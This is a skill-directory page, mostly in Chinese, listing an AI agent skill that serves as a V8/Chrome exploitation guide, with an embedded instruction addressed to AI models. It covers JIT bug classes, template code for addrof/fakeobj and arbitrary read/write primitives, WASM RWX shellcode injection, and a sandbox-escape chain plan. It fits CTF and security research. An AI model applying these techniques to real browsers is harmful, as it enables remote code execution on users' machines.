选项
首页首页 Skill 浏览器自动化 browser-exploitation-v8

browser-exploitation-v8

yaklang/hack-skills yaklang/hack-skills

浏览器和 V8 漏洞利用指南。在利用 JavaScript 引擎漏洞(包括 JIT 类型混淆、边界消除错误以及 V8 沙箱绕过)以在 Chrome/Chromium 中实现渲染器远程代码执行(RCE)和沙箱逃逸时使用。

...展开全部
17
更新时间 2026-08-25

关于browser-exploitation-v8

一份用于利用谷歌 V8(Chrome/Chromium)中 JavaScript 引擎漏洞的安全测试指南。 该指南详细阐述了 V8 的编译流程——源代码被解析为抽象语法树(AST),作为 Ignition 字节码进行解释,随后通过 Sparkplug、Maglev 以及 TurboFan 优化型 JIT 进行渐进式优化,当投机执行失败时,会回退至字节码。 文档中还记录了基础内部机制:带标签的指针(SMI 和堆对象)、通过 4GB 区域内“笼”基址的 32 位偏移量访问对象的指针压缩、Maps(隐藏类)、元素类型、写屏障以及 Orinoco 垃圾回收器。

大部分内容归纳了常见的漏洞类别以及用于将其武器化的基本操作。漏洞类别包括JIT类型混淆、错误的边界检查消除、原型链混淆、TurboFan缩减和类型检查漏洞、SharedArrayBuffer竞争条件,以及内置函数中的“偏移量差一”错误。 从内存破坏漏洞出发,本书构建了经典的 addrof 和 fakeobj 原语(通过混淆对象元素数组和双精度元素数组),进而通过受损的 Float64Array 或 ArrayBuffer 后备存储区升级为任意读写,并涵盖了通过混淆数组边界和 WASM RWX 页面实现的越界访问。

请在受控且经过授权的环境中,用于研究或复现渲染器远程代码执行(RCE)及沙箱逃逸链。 本文阐述了如何强制 JIT 优化(通过多次调用函数,或在 d8 中调用 %OptimizeFunctionOnNextCall 内置函数),以及 V8 沙箱和指针压缩如何限制利用——因为底层存储区的指针始终被限制在沙箱内,若要访问整个进程内存,则需要单独的沙箱逃逸操作。 相关链接指向沙箱逃逸技术、堆利用、栈溢出与ROP以及二进制保护绕过,并附有更深入的 V8_EXPLOITATION_PATTERNS.md 参考资料。

常见问题

本操作指南涵盖哪些类别的 V8 漏洞?

JIT 类型混淆、错误的边界检查消除、原型链混淆、TurboFan 缩减和类型检查漏洞、SharedArrayBuffer 竞态条件,以及内置函数中的“偏移量差一”错误。

其中描述的核心利用原语有哪些?

addrof(泄露对象地址)和 fakeobj(伪造对象引用),通过混淆对象元素数组和双精度元素数组构建,随后结合损坏的 Float64Array 或 ArrayBuffer 底层存储,实现任意读写。

V8 的沙箱和指针压缩机制如何影响漏洞利用?

由于 V8 8.0 中的对象通过 4GB 区域内笼子基址的 32 位偏移量进行寻址,且 ArrayBuffer 后备存储是沙箱指针,因此要获得对整个进程内存的访问权限,需要进行单独的沙箱逃逸。

如何强制对函数进行 JIT 优化以便测试?

多次调用该函数(例如 100000 次迭代)以触发 TurboFan,或者在 d8 命令行 shell 中,在调用该函数前使用 %OptimizeFunctionOnNextCall 内置指令。

它涉及哪些相关技能?

沙箱逃逸技术(IPC/Mojo渲染器逃逸)、堆利用、栈溢出与ROP,以及二进制保护绕过,此外还有一份名为 V8_EXPLOITATION_PATTERNS.md 的高级参考文档,其中包含详细的模板。

所有文件

2个文件V8_EXPLOITATION_PATTERNS.md8.9KB查看SKILL.md11.5 KB查看
在 GitHub 上查看

AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.

0. RELATED ROUTING

  • sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
  • heap-exploitation — general heap concepts applicable to V8 heap
  • stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
  • binary-protection-bypass — ASLR/NX bypass in browser context

Advanced Reference

Load V8_EXPLOITATION_PATTERNS.md when you need:

  • Detailed exploitation patterns and code templates
  • Heap layout manipulation and GC interaction
  • V8 sandbox bypass techniques
  • Object map confusion patterns

1. V8 ARCHITECTURE

Compilation Pipeline

JavaScript Source    ↓ Parser  AST (Abstract Syntax Tree)    ↓ Ignition  Bytecode (interpreted, profiling)    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)  Baseline code (fast startup)    ↓ Maglev (mid-tier, V8 ≥ 10.2)  Mid-optimized code    ↓ TurboFan (optimizing JIT)  Optimized machine code (with speculative optimizations)    ↓ Deoptimization (if speculation fails)  Back to Ignition bytecode

Key V8 Concepts

ConceptDescription
Tagged pointersSMI (Small Integer): value << 1, HeapObject: ptr | 1
Pointer compressionV8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox)
Maps (Hidden Classes)Define object shape: property names, types, offsets
Elements kindsInternal array type: PACKED_SMI_ELEMENTS, PACKED_DOUBLE_ELEMENTS, PACKED_ELEMENTS, etc.
Write barrierGC bookkeeping when heap pointers are written
Garbage collectionOrinoco GC: minor (Scavenge) and major (Mark-Compact)

Object Representation (64-bit, pointer compression)

HeapObject in V8 heap (compressed):  +0x00: Map pointer (compressed, 32-bit offset)  +0x04: Properties/Hash  +0x08: Elements pointer (compressed)  +0x0C: Length (for arrays)  +0x10: Inline properties or backing store data

2. COMMON V8 BUG CLASSES

Bug ClassDescriptionExample
JIT Type ConfusionTurboFan assumes wrong type after optimizationSpeculative type guard eliminated, wrong operation applied
Incorrect Bounds EliminationJIT removes array bounds check based on wrong range analysisCheckBounds node eliminated → OOB access
Prototype Chain ConfusionOptimization assumes stable prototype, mutations invalidatePrototype change after optimization → wrong property access
Turbofan Reduction BugIncorrect strength reduction or constant foldingInteger overflow in range analysis
Race ConditionSharedArrayBuffer + worker thread raceType confusion via concurrent modification
Off-by-one in BuiltinBoundary error in built-in function implementationString/Array bounds
Typer BugIncorrect type range computation in TurboFanTyper says value is in [0, N] but can be N+1

Triggering JIT Optimization

function vuln(arr) {    // ... vulnerable code path ...}// Force optimization by calling many timesfor (let i = 0; i < 100000; i++) {    vuln(arr);}// Or use V8 intrinsics (d8 only):%OptimizeFunctionOnNextCall(vuln);vuln(arr);

3. EXPLOITATION PRIMITIVES

addrof — Leak Object Address

// Goal: get the raw heap address of a JavaScript object// Method: type confusion between object array and float array// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:// - Write object reference to element of object array// - Read same element as double from confused float array// - Float bits = compressed pointer of the objectfunction addrof(obj) {    // Setup depends on specific bug    // Typically: trigger type confusion so array reads obj ref as float    object_array[0] = obj;    return ftoi(confused_float_array[0]);  // float-to-int conversion}

fakeobj — Create Fake Object Reference

// Goal: create a JS reference to an arbitrary heap address// Method: reverse of addrof — write float (raw pointer bits) to float array,//         read from confused object array → treated as object referencefunction fakeobj(addr) {    confused_float_array[0] = itof(addr);  // int-to-float conversion    return object_array[0];                 // now a "pointer" to addr}

Building Arbitrary R/W from addrof + fakeobj

// 1. Create a Float64Array with known layoutlet rw_array = new Float64Array(0x100);let rw_array_addr = addrof(rw_array);// 2. Fake a Float64Array object at controlled address with modified backing_store// 3. Corrupt backing_store pointer to target address// 4. Read/write through the fake Float64Array → arbitrary R/Wfunction read64(addr) {    // Set fake array's backing_store = addr    write_to_fake_backingstore(addr);    return fake_float64array[0];}function write64(addr, value) {    write_to_fake_backingstore(addr);    fake_float64array[0] = value;}

4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks:

function trigger(arr, idx) {    // TurboFan thinks idx is always < arr.length    // But due to bug, idx can exceed bounds    return arr[idx];  // OOB read}// OOB read adjacent memory (next heap object's metadata)// OOB write to corrupt next object's map/elements/length

What's Adjacent in V8 Heap?

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:

let arr1 = new Array(0x10);    // spray objectlet arr2 = new Float64Array(0x10);  // target: adjacent to arr1// OOB from arr1 can reach arr2's metadata// Corrupt arr2's length → unconstrained OOB on arr2

5. ARRAYBUFFER ARBITRARY R/W

ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.

let ab = new ArrayBuffer(0x100);let view = new DataView(ab);// If we can overwrite ab's backing_store pointer:// ab.backing_store = target_addr// view.getFloat64(0) → reads 8 bytes from target_addr// view.setFloat64(0, val) → writes to target_addr

V8 Sandbox (Pointer Compression) Impact

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):

  • ArrayBuffer.backing_store is a sandbox pointer (within the V8 cage, 4GB region)
  • Cannot directly point outside the V8 cage
  • Need sandbox escape to get full process memory access

6. WASM RWX PAGE

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.

// Allocate WASM module → JIT compiles to RWX pagelet wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);let mod = new WebAssembly.Module(wasm_code);let instance = new WebAssembly.Instance(mod);// instance.exports.func → points to RWX page// If we can find and write to this page:// 1. addrof(instance) → find WASM instance object// 2. Follow pointers: instance → jump_table_start → RWX page// 3. Use arbitrary write to overwrite RWX page with shellcode// 4. Call instance.exports.func() → executes shellcode

Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.

7. V8 SANDBOX

Architecture (V8 ≥ 11.x)

Process Virtual Address Space:┌──────────────────────────────────────┐│  V8 Sandbox Cage (4GB region)        ││  ├── V8 Heap (JS objects)            ││  ├── ArrayBuffer backing stores      ││  ├── WASM memory                     ││  └── External pointer table          │├──────────────────────────────────────┤│  Process memory outside cage         ││  ├── libc, Chrome code               ││  ├── Stack                           ││  └── Other allocations               │└──────────────────────────────────────┘

Sandbox Escape Vectors

VectorMethod
External pointer tableCorrupt entries in the external pointer table to reference arbitrary addresses
WASM code pointerOverwrite WASM function entry to jump to controlled shellcode
JIT code corruptionWrite to JIT code page via race condition or confused pointer
Mojo IPC (Chrome)Exploit Chrome IPC to attack browser process from compromised renderer
Backing store seal bypassFind type confusion to get unsandboxed pointer

8. CHROME SANDBOX ESCAPE (OVERVIEW)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:

StageTargetExample
Renderer exploitV8 / Blink DOMType confusion → shellcode
IPC/Mojo bugChrome IPC layerUse-after-free in Mojo interface
Browser process exploitPrivileged browser processCode execution outside sandbox

Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.

9. TOOLS

# V8 debuggingd8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)d8 --trace-turbo exploit.js           # Dump TurboFan IRd8 --print-opt-code exploit.js        # Print optimized machine code# Turbolizer: visual TurboFan IR graph# Chrome DevTools Memory panel: heap snapshots# Build V8 for debugginggit clone https://chromium.googlesource.com/v8/v8.gitgclient syncgn gen out/debug --args='is_debug=true v8_enable_sandbox=false'ninja -C out/debug d8

10. DECISION TREE

V8 vulnerability identified├── Bug type?│   ├── JIT type confusion → trigger optimization, confuse array element kinds│   ├── Bounds check elimination → OOB read/write on array│   ├── Typer bug → incorrect range leads to OOB│   └── Builtin bug → direct memory corruption primitive│├── Build primitives│   ├── Can confuse object array ↔ float array?│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap│   ├── OOB on array?│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W│   └── Direct write primitive?│       └── Target WASM instance or ArrayBuffer metadata│├── V8 sandbox enabled?│   ├── YES (modern Chrome) →│   │   ├── R/W limited to V8 cage (4GB)│   │   ├── Need sandbox escape: external pointer table corruption,│   │   │   WASM code pointer overwrite, or Mojo bug│   │   └── Then proceed to shellcode execution│   └── NO (older V8, CTF, d8) →│       ├── Corrupt ArrayBuffer backing_store → absolute R/W│       └── Overwrite WASM RWX page → shellcode│├── Code execution method│   ├── WASM RWX page available? → write shellcode, call WASM func│   ├── JIT code writable? → overwrite JIT code│   └── ROP needed? → corrupt stack or return address│└── Full browser exploit chain    ├── Stage 1: V8 bug → renderer RCE    ├── Stage 2: Mojo IPC bug → browser process compromise    └── Stage 3: OS-level escalation (if needed)

所有文件

2 个文件

安装 browser-exploitation-v8

下载技能文件并将其解压到 .claude/skills/ 目录中。

下载ZIP

克隆仓库并复制技能文件到您的项目中。

git clone https://github.com/yaklang/hack-skills/blob/main/skills/browser-exploitation-v8/SKILL.md # Copy SKILL.md to your .claude/skills/ directory

复制 复制
快速设置: 将技能文件夹复制到 .claude/skills/,Claude 会自动检测并使用该技能

相关技能

playwright-cli
更新时间 2026-06-29
frontend-testing-best-practices
更新时间 2026-07-07
Playwright Browser Automation
更新时间 2026-06-29
playwright-generate-test
更新时间 2026-06-29
OR